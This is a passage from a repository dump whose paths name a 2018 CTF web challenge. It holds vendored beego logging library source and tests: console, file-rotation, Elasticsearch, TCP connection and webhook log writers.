true\n\t}\n\n\treturn c.ReconnectOnMsg\n}\n\nfunc init() {\n\tRegister(AdapterConn, NewConn)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/conn_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"testing\"\n)\n\nfunc TestConn(t *testing.T) {\n\tlog := NewLogger(1000)\n\tlog.SetLogger(\"conn\", `{\"net\":\"tcp\",\"addr\":\":7020\"}`)\n\tlog.Informational(\"informational\")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/console.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"encoding/json\"\n\t\"os\"\n\t\"runtime\"\n\t\"time\"\n)\n\n// brush is a color join function\ntype brush func(string) string\n\n// newBrush return a fix color Brush\nfunc newBrush(color string) brush {\n\tpre := \"\\033[\"\n\treset := \"\\033[0m\"\n\treturn func(text string) string {\n\t\treturn pre + color + \"m\" + text + reset\n\t}\n}\n\nvar colors = []brush{\n\tnewBrush(\"1;37\"), // Emergency          white\n\tnewBrush(\"1;36\"), // Alert              cyan\n\tnewBrush(\"1;35\"), // Critical           magenta\n\tnewBrush(\"1;31\"), // Error              red\n\tnewBrush(\"1;33\"), // Warning            yellow\n\tnewBrush(\"1;32\"), // Notice             green\n\tnewBrush(\"1;34\"), // Informational      blue\n\tnewBrush(\"1;44\"), // Debug              Background blue\n}\n\n// consoleWriter implements LoggerInterface and writes messages to terminal.\ntype consoleWriter struct {\n\tlg       *logWriter\n\tLevel    int  `json:\"level\"`\n\tColorful bool `json:\"color\"` //this filed is useful only when system's terminal supports color\n}\n\n// NewConsole create ConsoleWriter returning as LoggerInterface.\nfunc NewConsole() Logger {\n\tcw := &consoleWriter{\n\t\tlg:       newLogWriter(os.Stdout),\n\t\tLevel:    LevelDebug,\n\t\tColorful: runtime.GOOS != \"windows\",\n\t}\n\treturn cw\n}\n\n// Init init console logger.\n// jsonConfig like '{\"level\":LevelTrace}'.\nfunc (c *consoleWriter) Init(jsonConfig string) error {\n\tif len(jsonConfig) == 0 {\n\t\treturn nil\n\t}\n\terr := json.Unmarshal([]byte(jsonConfig), c)\n\tif runtime.GOOS == \"windows\" {\n\t\tc.Colorful = false\n\t}\n\treturn err\n}\n\n// WriteMsg write message in console.\nfunc (c *consoleWriter) WriteMsg(when time.Time, msg string, level int) error {\n\tif level > c.Level {\n\t\treturn nil\n\t}\n\tif c.Colorful {\n\t\tmsg = colors[level](msg)\n\t}\n\tc.lg.println(when, msg)\n\treturn nil\n}\n\n// Destroy implementing method. empty.\nfunc (c *consoleWriter) Destroy() {\n\n}\n\n// Flush implementing method. empty.\nfunc (c *consoleWriter) Flush() {\n\n}\n\nfunc init() {\n\tRegister(AdapterConsole, NewConsole)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/console_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"testing\"\n)\n\n// Try each log level in decreasing order of priority.\nfunc testConsoleCalls(bl *BeeLogger) {\n\tbl.Emergency(\"emergency\")\n\tbl.Alert(\"alert\")\n\tbl.Critical(\"critical\")\n\tbl.Error(\"error\")\n\tbl.Warning(\"warning\")\n\tbl.Notice(\"notice\")\n\tbl.Informational(\"informational\")\n\tbl.Debug(\"debug\")\n}\n\n// Test console logging by visually comparing the lines being output with and\n// without a log level specification.\nfunc TestConsole(t *testing.T) {\n\tlog1 := NewLogger(10000)\n\tlog1.EnableFuncCallDepth(true)\n\tlog1.SetLogger(\"console\", \"\")\n\ttestConsoleCalls(log1)\n\n\tlog2 := NewLogger(100)\n\tlog2.SetLogger(\"console\", `{\"level\":3}`)\n\ttestConsoleCalls(log2)\n}\n\n// Test console without color\nfunc TestConsoleNoColor(t *testing.T) {\n\tlog := NewLogger(100)\n\tlog.SetLogger(\"console\", `{\"color\":false}`)\n\ttestConsoleCalls(log)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/es/es.go",
    "content": "package es\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego/logs\"\n\t\"github.com/belogik/goes\"\n)\n\n// NewES return a LoggerInterface\nfunc NewES() logs.Logger {\n\tcw := &esLogger{\n\t\tLevel: logs.LevelDebug,\n\t}\n\treturn cw\n}\n\ntype esLogger struct {\n\t*goes.Connection\n\tDSN   string `json:\"dsn\"`\n\tLevel int    `json:\"level\"`\n}\n\n// {\"dsn\":\"http://localhost:9200/\",\"level\":1}\nfunc (el *esLogger) Init(jsonconfig string) error {\n\terr := json.Unmarshal([]byte(jsonconfig), el)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif el.DSN == \"\" {\n\t\treturn errors.New(\"empty dsn\")\n\t} else if u, err := url.Parse(el.DSN); err != nil {\n\t\treturn err\n\t} else if u.Path == \"\" {\n\t\treturn errors.New(\"missing prefix\")\n\t} else if host, port, err := net.SplitHostPort(u.Host); err != nil {\n\t\treturn err\n\t} else {\n\t\tconn := goes.NewConnection(host, port)\n\t\tel.Connection = conn\n\t}\n\treturn nil\n}\n\n// WriteMsg will write the msg and level into es\nfunc (el *esLogger) WriteMsg(when time.Time, msg string, level int) error {\n\tif level > el.Level {\n\t\treturn nil\n\t}\n\n\tvals := make(map[string]interface{})\n\tvals[\"@timestamp\"] = when.Format(time.RFC3339)\n\tvals[\"@msg\"] = msg\n\td := goes.Document{\n\t\tIndex:  fmt.Sprintf(\"%04d.%02d.%02d\", when.Year(), when.Month(), when.Day()),\n\t\tType:   \"logs\",\n\t\tFields: vals,\n\t}\n\t_, err := el.Index(d, nil)\n\treturn err\n}\n\n// Destroy is a empty method\nfunc (el *esLogger) Destroy() {\n\n}\n\n// Flush is a empty method\nfunc (el *esLogger) Flush() {\n\n}\n\nfunc init() {\n\tlogs.Register(logs.AdapterEs, NewES)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/file.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n)\n\n// fileLogWriter implements LoggerInterface.\n// It writes messages by lines limit, file size limit, or time frequency.\ntype fileLogWriter struct {\n\tsync.RWMutex // write log order by order and  atomic incr maxLinesCurLines and maxSizeCurSize\n\t// The opened file\n\tFilename   string `json:\"filename\"`\n\tfileWriter *os.File\n\n\t// Rotate at line\n\tMaxLines         int `json:\"maxlines\"`\n\tmaxLinesCurLines int\n\n\t// Rotate at size\n\tMaxSize        int `json:\"maxsize\"`\n\tmaxSizeCurSize int\n\n\t// Rotate daily\n\tDaily         bool  `json:\"daily\"`\n\tMaxDays       int64 `json:\"maxdays\"`\n\tdailyOpenDate int\n\tdailyOpenTime time.Time\n\n\tRotate bool `json:\"rotate\"`\n\n\tLevel int `json:\"level\"`\n\n\tPerm string `json:\"perm\"`\n\n\tRotatePerm string `json:\"rotateperm\"`\n\n\tfileNameOnly, suffix string // like \"project.log\", project is fileNameOnly and .log is suffix\n}\n\n// newFileWriter create a FileLogWriter returning as LoggerInterface.\nfunc newFileWriter() Logger {\n\tw := &fileLogWriter{\n\t\tDaily:      true,\n\t\tMaxDays:    7,\n\t\tRotate:     true,\n\t\tRotatePerm: \"0440\",\n\t\tLevel:      LevelTrace,\n\t\tPerm:       \"0660\",\n\t}\n\treturn w\n}\n\n// Init file logger with json config.\n// jsonConfig like:\n//\t{\n//\t\"filename\":\"logs/beego.log\",\n//\t\"maxLines\":10000,\n//\t\"maxsize\":1024,\n//\t\"daily\":true,\n//\t\"maxDays\":15,\n//\t\"rotate\":true,\n//  \t\"perm\":\"0600\"\n//\t}\nfunc (w *fileLogWriter) Init(jsonConfig string) error {\n\terr := json.Unmarshal([]byte(jsonConfig), w)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(w.Filename) == 0 {\n\t\treturn errors.New(\"jsonconfig must have filename\")\n\t}\n\tw.suffix = filepath.Ext(w.Filename)\n\tw.fileNameOnly = strings.TrimSuffix(w.Filename, w.suffix)\n\tif w.suffix == \"\" {\n\t\tw.suffix = \".log\"\n\t}\n\terr = w.startLogger()\n\treturn err\n}\n\n// start file logger. create log file and set to locker-inside file writer.\nfunc (w *fileLogWriter) startLogger() error {\n\tfile, err := w.createLogFile()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif w.fileWriter != nil {\n\t\tw.fileWriter.Close()\n\t}\n\tw.fileWriter = file\n\treturn w.initFd()\n}\n\nfunc (w *fileLogWriter) needRotate(size int, day int) bool {\n\treturn (w.MaxLines > 0 && w.maxLinesCurLines >= w.MaxLines) ||\n\t\t(w.MaxSize > 0 && w.maxSizeCurSize >= w.MaxSize) ||\n\t\t(w.Daily && day != w.dailyOpenDate)\n\n}\n\n// WriteMsg write logger message into file.\nfunc (w *fileLogWriter) WriteMsg(when time.Time, msg string, level int) error {\n\tif level > w.Level {\n\t\treturn nil\n\t}\n\th, d := formatTimeHeader(when)\n\tmsg = string(h) + msg + \"\\n\"\n\tif w.Rotate {\n\t\tw.RLock()\n\t\tif w.needRotate(len(msg), d) {\n\t\t\tw.RUnlock()\n\t\t\tw.Lock()\n\t\t\tif w.needRotate(len(msg), d) {\n\t\t\t\tif err := w.doRotate(when); err != nil {\n\t\t\t\t\tfmt.Fprintf(os.Stderr, \"FileLogWriter(%q): %s\\n\", w.Filename, err)\n\t\t\t\t}\n\t\t\t}\n\t\t\tw.Unlock()\n\t\t} else {\n\t\t\tw.RUnlock()\n\t\t}\n\t}\n\n\tw.Lock()\n\t_, err := w.fileWriter.Write([]byte(msg))\n\tif err == nil {\n\t\tw.maxLinesCurLines++\n\t\tw.maxSizeCurSize += len(msg)\n\t}\n\tw.Unlock()\n\treturn err\n}\n\nfunc (w *fileLogWriter) createLogFile() (*os.File, error) {\n\t// Open the log file\n\tperm, err := strconv.ParseInt(w.Perm, 8, 64)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfd, err := os.OpenFile(w.Filename, os.O_WRONLY|os.O_APPEND|os.O_CREATE, os.FileMode(perm))\n\tif err == nil {\n\t\t// Make sure file perm is user set perm cause of `os.OpenFile` will obey umask\n\t\tos.Chmod(w.Filename, os.FileMode(perm))\n\t}\n\treturn fd, err\n}\n\nfunc (w *fileLogWriter) initFd() error {\n\tfd := w.fileWriter\n\tfInfo, err := fd.Stat()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"get stat err: %s\", err)\n\t}\n\tw.maxSizeCurSize = int(fInfo.Size())\n\tw.dailyOpenTime = time.Now()\n\tw.dailyOpenDate = w.dailyOpenTime.Day()\n\tw.maxLinesCurLines = 0\n\tif w.Daily {\n\t\tgo w.dailyRotate(w.dailyOpenTime)\n\t}\n\tif fInfo.Size() > 0 && w.MaxLines > 0 {\n\t\tcount, err := w.lines()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tw.maxLinesCurLines = count\n\t}\n\treturn nil\n}\n\nfunc (w *fileLogWriter) dailyRotate(openTime time.Time) {\n\ty, m, d := openTime.Add(24 * time.Hour).Date()\n\tnextDay := time.Date(y, m, d, 0, 0, 0, 0, openTime.Location())\n\ttm := time.NewTimer(time.Duration(nextDay.UnixNano() - openTime.UnixNano() + 100))\n\t<-tm.C\n\tw.Lock()\n\tif w.needRotate(0, time.Now().Day()) {\n\t\tif err := w.doRotate(time.Now()); err != nil {\n\t\t\tfmt.Fprintf(os.Stderr, \"FileLogWriter(%q): %s\\n\", w.Filename, err)\n\t\t}\n\t}\n\tw.Unlock()\n}\n\nfunc (w *fileLogWriter) lines() (int, error) {\n\tfd, err := os.Open(w.Filename)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer fd.Close()\n\n\tbuf := make([]byte, 32768) // 32k\n\tcount := 0\n\tlineSep := []byte{'\\n'}\n\n\tfor {\n\t\tc, err := fd.Read(buf)\n\t\tif err != nil && err != io.EOF {\n\t\t\treturn count, err\n\t\t}\n\n\t\tcount += bytes.Count(buf[:c], lineSep)\n\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn count, nil\n}\n\n// DoRotate means it need to write file in new file.\n// new file name like xx.2013-01-01.log (daily) or xx.001.log (by line or size)\nfunc (w *fileLogWriter) doRotate(logTime time.Time) error {\n\t// file exists\n\t// Find the next available number\n\tnum := 1\n\tfName := \"\"\n\trotatePerm, err := strconv.ParseInt(w.RotatePerm, 8, 64)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = os.Lstat(w.Filename)\n\tif err != nil {\n\t\t//even if the file is not exist or other ,we should RESTART the logger\n\t\tgoto RESTART_LOGGER\n\t}\n\n\tif w.MaxLines > 0 || w.MaxSize > 0 {\n\t\tfor ; err == nil && num <= 999; num++ {\n\t\t\tfName = w.fileNameOnly + fmt.Sprintf(\".%s.%03d%s\", logTime.Format(\"2006-01-02\"), num, w.suffix)\n\t\t\t_, err = os.Lstat(fName)\n\t\t}\n\t} else {\n\t\tfName = fmt.Sprintf(\"%s.%s%s\", w.fileNameOnly, w.dailyOpenTime.Format(\"2006-01-02\"), w.suffix)\n\t\t_, err = os.Lstat(fName)\n\t\tfor ; err == nil && num <= 999; num++ {\n\t\t\tfName = w.fileNameOnly + fmt.Sprintf(\".%s.%03d%s\", w.dailyOpenTime.Format(\"2006-01-02\"), num, w.suffix)\n\t\t\t_, err = os.Lstat(fName)\n\t\t}\n\t}\n\t// return error if the last file checked still existed\n\tif err == nil {\n\t\treturn fmt.Errorf(\"Rotate: Cannot find free log number to rename %s\", w.Filename)\n\t}\n\n\t// close fileWriter before rename\n\tw.fileWriter.Close()\n\n\t// Rename the file to its new found name\n\t// even if occurs error,we MUST guarantee to  restart new logger\n\terr = os.Rename(w.Filename, fName)\n\tif err != nil {\n\t\tgoto RESTART_LOGGER\n\t}\n\n\terr = os.Chmod(fName, os.FileMode(rotatePerm))\n\nRESTART_LOGGER:\n\n\tstartLoggerErr := w.startLogger()\n\tgo w.deleteOldLog()\n\n\tif startLoggerErr != nil {\n\t\treturn fmt.Errorf(\"Rotate StartLogger: %s\", startLoggerErr)\n\t}\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Rotate: %s\", err)\n\t}\n\treturn nil\n}\n\nfunc (w *fileLogWriter) deleteOldLog() {\n\tdir := filepath.Dir(w.Filename)\n\tfilepath.Walk(dir, func(path string, info os.FileInfo, err error) (returnErr error) {\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\tfmt.Fprintf(os.Stderr, \"Unable to delete old log '%s', error: %v\\n\", path, r)\n\t\t\t}\n\t\t}()\n\n\t\tif info == nil {\n\t\t\treturn\n\t\t}\n\n\t\tif !info.IsDir() && info.ModTime().Add(24*time.Hour*time.Duration(w.MaxDays)).Before(time.Now()) {\n\t\t\tif strings.HasPrefix(filepath.Base(path), filepath.Base(w.fileNameOnly)) &&\n\t\t\t\tstrings.HasSuffix(filepath.Base(path), w.suffix) {\n\t\t\t\tos.Remove(path)\n\t\t\t}\n\t\t}\n\t\treturn\n\t})\n}\n\n// Destroy close the file description, close file writer.\nfunc (w *fileLogWriter) Destroy() {\n\tw.fileWriter.Close()\n}\n\n// Flush flush file logger.\n// there are no buffering messages in file logger in memory.\n// flush file means sync file from disk.\nfunc (w *fileLogWriter) Flush() {\n\tw.fileWriter.Sync()\n}\n\nfunc init() {\n\tRegister(AdapterFile, newFileWriter)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/file_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strconv\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestFilePerm(t *testing.T) {\n\tlog := NewLogger(10000)\n\t// use 0666 as test perm cause the default umask is 022\n\tlog.SetLogger(\"file\", `{\"filename\":\"test.log\", \"perm\": \"0666\"}`)\n\tlog.Debug(\"debug\")\n\tlog.Informational(\"info\")\n\tlog.Notice(\"notice\")\n\tlog.Warning(\"warning\")\n\tlog.Error(\"error\")\n\tlog.Alert(\"alert\")\n\tlog.Critical(\"critical\")\n\tlog.Emergency(\"emergency\")\n\tfile, err := os.Stat(\"test.log\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif file.Mode() != 0666 {\n\t\tt.Fatal(\"unexpected log file permission\")\n\t}\n\tos.Remove(\"test.log\")\n}\n\nfunc TestFile1(t *testing.T) {\n\tlog := NewLogger(10000)\n\tlog.SetLogger(\"file\", `{\"filename\":\"test.log\"}`)\n\tlog.Debug(\"debug\")\n\tlog.Informational(\"info\")\n\tlog.Notice(\"notice\")\n\tlog.Warning(\"warning\")\n\tlog.Error(\"error\")\n\tlog.Alert(\"alert\")\n\tlog.Critical(\"critical\")\n\tlog.Emergency(\"emergency\")\n\tf, err := os.Open(\"test.log\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tb := bufio.NewReader(f)\n\tlineNum := 0\n\tfor {\n\t\tline, _, err := b.ReadLine()\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t\tif len(line) > 0 {\n\t\t\tlineNum++\n\t\t}\n\t}\n\tvar expected = LevelDebug + 1\n\tif lineNum != expected {\n\t\tt.Fatal(lineNum, \"not \"+strconv.Itoa(expected)+\" lines\")\n\t}\n\tos.Remove(\"test.log\")\n}\n\nfunc TestFile2(t *testing.T) {\n\tlog := NewLogger(10000)\n\tlog.SetLogger(\"file\", fmt.Sprintf(`{\"filename\":\"test2.log\",\"level\":%d}`, LevelError))\n\tlog.Debug(\"debug\")\n\tlog.Info(\"info\")\n\tlog.Notice(\"notice\")\n\tlog.Warning(\"warning\")\n\tlog.Error(\"error\")\n\tlog.Alert(\"alert\")\n\tlog.Critical(\"critical\")\n\tlog.Emergency(\"emergency\")\n\tf, err := os.Open(\"test2.log\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tb := bufio.NewReader(f)\n\tlineNum := 0\n\tfor {\n\t\tline, _, err := b.ReadLine()\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t\tif len(line) > 0 {\n\t\t\tlineNum++\n\t\t}\n\t}\n\tvar expected = LevelError + 1\n\tif lineNum != expected {\n\t\tt.Fatal(lineNum, \"not \"+strconv.Itoa(expected)+\" lines\")\n\t}\n\tos.Remove(\"test2.log\")\n}\n\nfunc TestFileRotate_01(t *testing.T) {\n\tlog := NewLogger(10000)\n\tlog.SetLogger(\"file\", `{\"filename\":\"test3.log\",\"maxlines\":4}`)\n\tlog.Debug(\"debug\")\n\tlog.Info(\"info\")\n\tlog.Notice(\"notice\")\n\tlog.Warning(\"warning\")\n\tlog.Error(\"error\")\n\tlog.Alert(\"alert\")\n\tlog.Critical(\"critical\")\n\tlog.Emergency(\"emergency\")\n\trotateName := \"test3\" + fmt.Sprintf(\".%s.%03d\", time.Now().Format(\"2006-01-02\"), 1) + \".log\"\n\tb, err := exists(rotateName)\n\tif !b || err != nil {\n\t\tos.Remove(\"test3.log\")\n\t\tt.Fatal(\"rotate not generated\")\n\t}\n\tos.Remove(rotateName)\n\tos.Remove(\"test3.log\")\n}\n\nfunc TestFileRotate_02(t *testing.T) {\n\tfn1 := \"rotate_day.log\"\n\tfn2 := \"rotate_day.\" + time.Now().Add(-24*time.Hour).Format(\"2006-01-02\") + \".log\"\n\ttestFileRotate(t, fn1, fn2)\n}\n\nfunc TestFileRotate_03(t *testing.T) {\n\tfn1 := \"rotate_day.log\"\n\tfn := \"rotate_day.\" + time.Now().Add(-24*time.Hour).Format(\"2006-01-02\") + \".log\"\n\tos.Create(fn)\n\tfn2 := \"rotate_day.\" + time.Now().Add(-24*time.Hour).Format(\"2006-01-02\") + \".001.log\"\n\ttestFileRotate(t, fn1, fn2)\n\tos.Remove(fn)\n}\n\nfunc TestFileRotate_04(t *testing.T) {\n\tfn1 := \"rotate_day.log\"\n\tfn2 := \"rotate_day.\" + time.Now().Add(-24*time.Hour).Format(\"2006-01-02\") + \".log\"\n\ttestFileDailyRotate(t, fn1, fn2)\n}\n\nfunc TestFileRotate_05(t *testing.T) {\n\tfn1 := \"rotate_day.log\"\n\tfn := \"rotate_day.\" + time.Now().Add(-24*time.Hour).Format(\"2006-01-02\") + \".log\"\n\tos.Create(fn)\n\tfn2 := \"rotate_day.\" + time.Now().Add(-24*time.Hour).Format(\"2006-01-02\") + \".001.log\"\n\ttestFileDailyRotate(t, fn1, fn2)\n\tos.Remove(fn)\n}\nfunc TestFileRotate_06(t *testing.T) { //test file mode\n\tlog := NewLogger(10000)\n\tlog.SetLogger(\"file\", `{\"filename\":\"test3.log\",\"maxlines\":4}`)\n\tlog.Debug(\"debug\")\n\tlog.Info(\"info\")\n\tlog.Notice(\"notice\")\n\tlog.Warning(\"warning\")\n\tlog.Error(\"error\")\n\tlog.Alert(\"alert\")\n\tlog.Critical(\"critical\")\n\tlog.Emergency(\"emergency\")\n\trotateName := \"test3\" + fmt.Sprintf(\".%s.%03d\", time.Now().Format(\"2006-01-02\"), 1) + \".log\"\n\ts, _ := os.Lstat(rotateName)\n\tif s.Mode() != 0440 {\n\t\tos.Remove(rotateName)\n\t\tos.Remove(\"test3.log\")\n\t\tt.Fatal(\"rotate file mode error\")\n\t}\n\tos.Remove(rotateName)\n\tos.Remove(\"test3.log\")\n}\nfunc testFileRotate(t *testing.T, fn1, fn2 string) {\n\tfw := &fileLogWriter{\n\t\tDaily:      true,\n\t\tMaxDays:    7,\n\t\tRotate:     true,\n\t\tLevel:      LevelTrace,\n\t\tPerm:       \"0660\",\n\t\tRotatePerm: \"0440\",\n\t}\n\tfw.Init(fmt.Sprintf(`{\"filename\":\"%v\",\"maxdays\":1}`, fn1))\n\tfw.dailyOpenTime = time.Now().Add(-24 * time.Hour)\n\tfw.dailyOpenDate = fw.dailyOpenTime.Day()\n\tfw.WriteMsg(time.Now(), \"this is a msg for test\", LevelDebug)\n\n\tfor _, file := range []string{fn1, fn2} {\n\t\t_, err := os.Stat(file)\n\t\tif err != nil {\n\t\t\tt.FailNow()\n\t\t}\n\t\tos.Remove(file)\n\t}\n\tfw.Destroy()\n}\n\nfunc testFileDailyRotate(t *testing.T, fn1, fn2 string) {\n\tfw := &fileLogWriter{\n\t\tDaily:      true,\n\t\tMaxDays:    7,\n\t\tRotate:     true,\n\t\tLevel:      LevelTrace,\n\t\tPerm:       \"0660\",\n\t\tRotatePerm: \"0440\",\n\t}\n\tfw.Init(fmt.Sprintf(`{\"filename\":\"%v\",\"maxdays\":1}`, fn1))\n\tfw.dailyOpenTime = time.Now().Add(-24 * time.Hour)\n\tfw.dailyOpenDate = fw.dailyOpenTime.Day()\n\ttoday, _ := time.ParseInLocation(\"2006-01-02\", time.Now().Format(\"2006-01-02\"), fw.dailyOpenTime.Location())\n\ttoday = today.Add(-1 * time.Second)\n\tfw.dailyRotate(today)\n\tfor _, file := range []string{fn1, fn2} {\n\t\t_, err := os.Stat(file)\n\t\tif err != nil {\n\t\t\tt.FailNow()\n\t\t}\n\t\tcontent, err := ioutil.ReadFile(file)\n\t\tif err != nil {\n\t\t\tt.FailNow()\n\t\t}\n\t\tif len(content) > 0 {\n\t\t\tt.FailNow()\n\t\t}\n\t\tos.Remove(file)\n\t}\n\tfw.Destroy()\n}\n\nfunc exists(path string) (bool, error) {\n\t_, err := os.Stat(path)\n\tif err == nil {\n\t\treturn true, nil\n\t}\n\tif os.IsNotExist(err) {\n\t\treturn false, nil\n\t}\n\treturn false, err\n}\n\nfunc BenchmarkFile(b *testing.B) {\n\tlog := NewLogger(100000)\n\tlog.SetLogger(\"file\", `{\"filename\":\"test4.log\"}`)\n\tfor i := 0; i < b.N; i++ {\n\t\tlog.Debug(\"debug\")\n\t}\n\tos.Remove(\"test4.log\")\n}\n\nfunc BenchmarkFileAsynchronous(b *testing.B) {\n\tlog := NewLogger(100000)\n\tlog.SetLogger(\"file\", `{\"filename\":\"test4.log\"}`)\n\tlog.Async()\n\tfor i := 0; i < b.N; i++ {\n\t\tlog.Debug(\"debug\")\n\t}\n\tos.Remove(\"test4.log\")\n}\n\nfunc BenchmarkFileCallDepth(b *testing.B) {\n\tlog := NewLogger(100000)\n\tlog.SetLogger(\"file\", `{\"filename\":\"test4.log\"}`)\n\tlog.EnableFuncCallDepth(true)\n\tlog.SetLogFuncCallDepth(2)\n\tfor i := 0; i < b.N; i++ {\n\t\tlog.Debug(\"debug\")\n\t}\n\tos.Remove(\"test4.log\")\n}\n\nfunc BenchmarkFileAsynchronousCallDepth(b *testing.B) {\n\tlog := NewLogger(100000)\n\tlog.SetLogger(\"file\", `{\"filename\":\"test4.log\"}`)\n\tlog.EnableFuncCallDepth(true)\n\tlog.SetLogFuncCallDepth(2)\n\tlog.Async()\n\tfor i := 0; i < b.N; i++ {\n\t\tlog.Debug(\"debug\")\n\t}\n\tos.Remove(\"test4.log\")\n}\n\nfunc BenchmarkFileOnGoroutine(b *testing.B) {\n\tlog := NewLogger(100000)\n\tlog.SetLogger(\"file\", `{\"filename\":\"test4.log\"}`)\n\tfor i := 0; i < b.N; i++ {\n\t\tgo log.Debug(\"debug\")\n\t}\n\tos.Remove(\"test4.log\")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/jianliao.go",
    "content": "package logs\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n)\n\n// JLWriter implements beego LoggerInterface and is used to send jiaoliao webhook\ntype JLWriter struct {\n\tAuthorName  string `json:\"authorname\"`\n\tTitle       string `json:\"title\"`\n\tWebhookURL  string `json:\"webhookurl\"`\n\tRedirectURL string `json:\"redirecturl,omitempty\"`\n\tImageURL    string `json:\"imageurl,omitempty\"`\n\tLevel       int    `json:\"level\"`\n}\n\n// newJLWriter create jiaoliao writer.\nfunc newJLWriter() Logger {\n\treturn &JLWriter{Level: LevelTrace}\n}\n\n// Init JLWriter with json config string\nfunc (s *JLWriter) Init(jsonconfig string) error {\n\treturn json.Unmarshal([]byte(jsonconfig), s)\n}\n\n// WriteMsg write message in smtp writer.\n// it will send an email with subject and only this message.\nfunc (s *JLWriter) WriteMsg(when time.Time, msg string, level int) error {\n\tif level > s.Level {\n\t\treturn nil\n\t}\n\n\ttext := fmt.Sprintf(\"%s %s\", when.Format(\"2006-01-02 15:04:05\"), msg)\n\n\tform := url.Values{}\n\tform.Add(\"authorName\", s.AuthorName)\n\tform.Add(\"title\", s.Title)\n\tform.Add(\"text\", text)\n\tif s.RedirectURL != \"\" {\n\t\tform.Add(\"redirectUrl\", s.RedirectURL)\n\t}\n\tif s.ImageURL != \"\" {\n\t\tform.Add(\"imageUrl\", s.ImageURL)\n\t}\n\n\tresp, err := http.PostForm(s.WebhookURL, form)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"Post webhook failed %s %d\", resp.Status, 